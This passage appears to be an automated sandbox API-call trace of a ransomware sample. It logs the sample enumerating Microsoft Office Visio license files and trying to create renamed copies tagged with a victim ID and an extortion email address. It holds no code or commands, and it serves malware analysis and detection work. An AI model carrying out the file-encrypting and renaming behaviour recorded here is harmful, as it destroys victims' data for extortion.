lpNewFilePointer=0x0) returned 1 [0253.635] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.636] CloseHandle (hObject=0x1280) returned 1 [0253.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0253.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ppd.xrm-ms") returned 89 [0253.636] lstrlenW (lpString=".doc") returned 4 [0253.637] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.637] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.637] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioprodemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.638] CloseHandle (hObject=0x1280) returned 1 [0253.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0253.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProDemoR_BypassTrial180-ul-oob.xrm-ms") returned 92 [0253.638] lstrlenW (lpString=".doc") returned 4 [0253.639] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.639] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.640] CloseHandle (hObject=0x1280) returned 1 [0253.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-pl.xrm-ms") returned 80 [0253.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-pl.xrm-ms") returned 80 [0253.640] lstrlenW (lpString=".doc") returned 4 [0253.641] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.641] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.641] CloseHandle (hObject=0x1280) returned 1 [0253.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ppd.xrm-ms") returned 81 [0253.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ppd.xrm-ms") returned 81 [0253.642] lstrlenW (lpString=".doc") returned 4 [0253.642] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.643] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.643] CloseHandle (hObject=0x1280) returned 1 [0253.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-oob.xrm-ms") returned 84 [0253.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-oob.xrm-ms") returned 84 [0253.643] lstrlenW (lpString=".doc") returned 4 [0253.644] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.644] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopromsdnr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.644] CloseHandle (hObject=0x1280) returned 1 [0253.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-phn.xrm-ms") returned 84 [0253.645] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProMSDNR_Retail-ul-phn.xrm-ms") returned 84 [0253.645] lstrlenW (lpString=".doc") returned 4 [0253.645] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.645] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.646] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.646] CloseHandle (hObject=0x1280) returned 1 [0253.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-pl.xrm-ms") returned 86 [0253.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-pl.xrm-ms") returned 86 [0253.646] lstrlenW (lpString=".doc") returned 4 [0253.647] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.647] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.647] CloseHandle (hObject=0x1280) returned 1 [0253.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ppd.xrm-ms") returned 87 [0253.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ppd.xrm-ms") returned 87 [0253.648] lstrlenW (lpString=".doc") returned 4 [0253.652] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.652] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subscription-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.653] CloseHandle (hObject=0x1280) returned 1 [0253.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ul-oob.xrm-ms") returned 90 [0253.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_Subscription-ul-oob.xrm-ms") returned 90 [0253.653] lstrlenW (lpString=".doc") returned 4 [0253.654] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.654] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.654] CloseHandle (hObject=0x1280) returned 1 [0253.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-pl.xrm-ms") returned 81 [0253.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-pl.xrm-ms") returned 81 [0253.654] lstrlenW (lpString=".doc") returned 4 [0253.655] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.655] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.656] CloseHandle (hObject=0x1280) returned 1 [0253.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ppd.xrm-ms") returned 82 [0253.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ppd.xrm-ms") returned 82 [0253.656] lstrlenW (lpString=".doc") returned 4 [0253.657] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.657] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtest-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.657] CloseHandle (hObject=0x1280) returned 1 [0253.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ul-oob.xrm-ms") returned 85 [0253.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTest-ul-oob.xrm-ms") returned 85 [0253.657] lstrlenW (lpString=".doc") returned 4 [0253.658] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.658] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.658] CloseHandle (hObject=0x1280) returned 1 [0253.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-pl.xrm-ms") returned 82 [0253.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-pl.xrm-ms") returned 82 [0253.659] lstrlenW (lpString=".doc") returned 4 [0253.659] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.659] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.660] CloseHandle (hObject=0x1280) returned 1 [0253.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ppd.xrm-ms") returned 83 [0253.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ppd.xrm-ms") returned 83 [0253.660] lstrlenW (lpString=".doc") returned 4 [0253.661] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.661] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visioproo365r_subtrial-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.661] CloseHandle (hObject=0x1280) returned 1 [0253.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ul-oob.xrm-ms") returned 86 [0253.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProO365R_SubTrial-ul-oob.xrm-ms") returned 86 [0253.662] lstrlenW (lpString=".doc") returned 4 [0253.662] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.662] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.663] CloseHandle (hObject=0x1280) returned 1 [0253.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ppd.xrm-ms") returned 76 [0253.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ppd.xrm-ms") returned 76 [0253.663] lstrlenW (lpString=".doc") returned 4 [0253.664] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.664] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.664] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.664] CloseHandle (hObject=0x1280) returned 1 [0253.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ul-oob.xrm-ms") returned 79 [0253.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Grace-ul-oob.xrm-ms") returned 79 [0253.665] lstrlenW (lpString=".doc") returned 4 [0253.666] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.666] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.666] CloseHandle (hObject=0x1280) returned 1 [0253.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-pl.xrm-ms") returned 78 [0253.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-pl.xrm-ms") returned 78 [0253.666] lstrlenW (lpString=".doc") returned 4 [0253.667] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.667] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.667] CloseHandle (hObject=0x1280) returned 1 [0253.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ppd.xrm-ms") returned 79 [0253.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ppd.xrm-ms") returned 79 [0253.668] lstrlenW (lpString=".doc") returned 4 [0253.668] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.669] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.669] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.669] CloseHandle (hObject=0x1280) returned 1 [0253.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0253.669] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-oob.xrm-ms") returned 82 [0253.669] lstrlenW (lpString=".doc") returned 4 [0253.670] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.670] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.670] CloseHandle (hObject=0x1280) returned 1 [0253.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0253.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_OEM_Perp-ul-phn.xrm-ms") returned 82 [0253.671] lstrlenW (lpString=".doc") returned 4 [0253.671] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.671] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.672] CloseHandle (hObject=0x1280) returned 1 [0253.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-pl.xrm-ms") returned 76 [0253.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-pl.xrm-ms") returned 76 [0253.672] lstrlenW (lpString=".doc") returned 4 [0253.672] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.673] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38afec0 | out: lpNewFilePointer=0x0) returned 1 [0253.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\visiopror_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.673] CloseHandle (hObject=0x1280) returned 1 [0253.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ppd.xrm-ms") returned 77 [0253.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\VisioProR_Retail-ppd.xrm-ms") returned 77 [0253.673] lstrlenW (lpString=".doc") returned 4 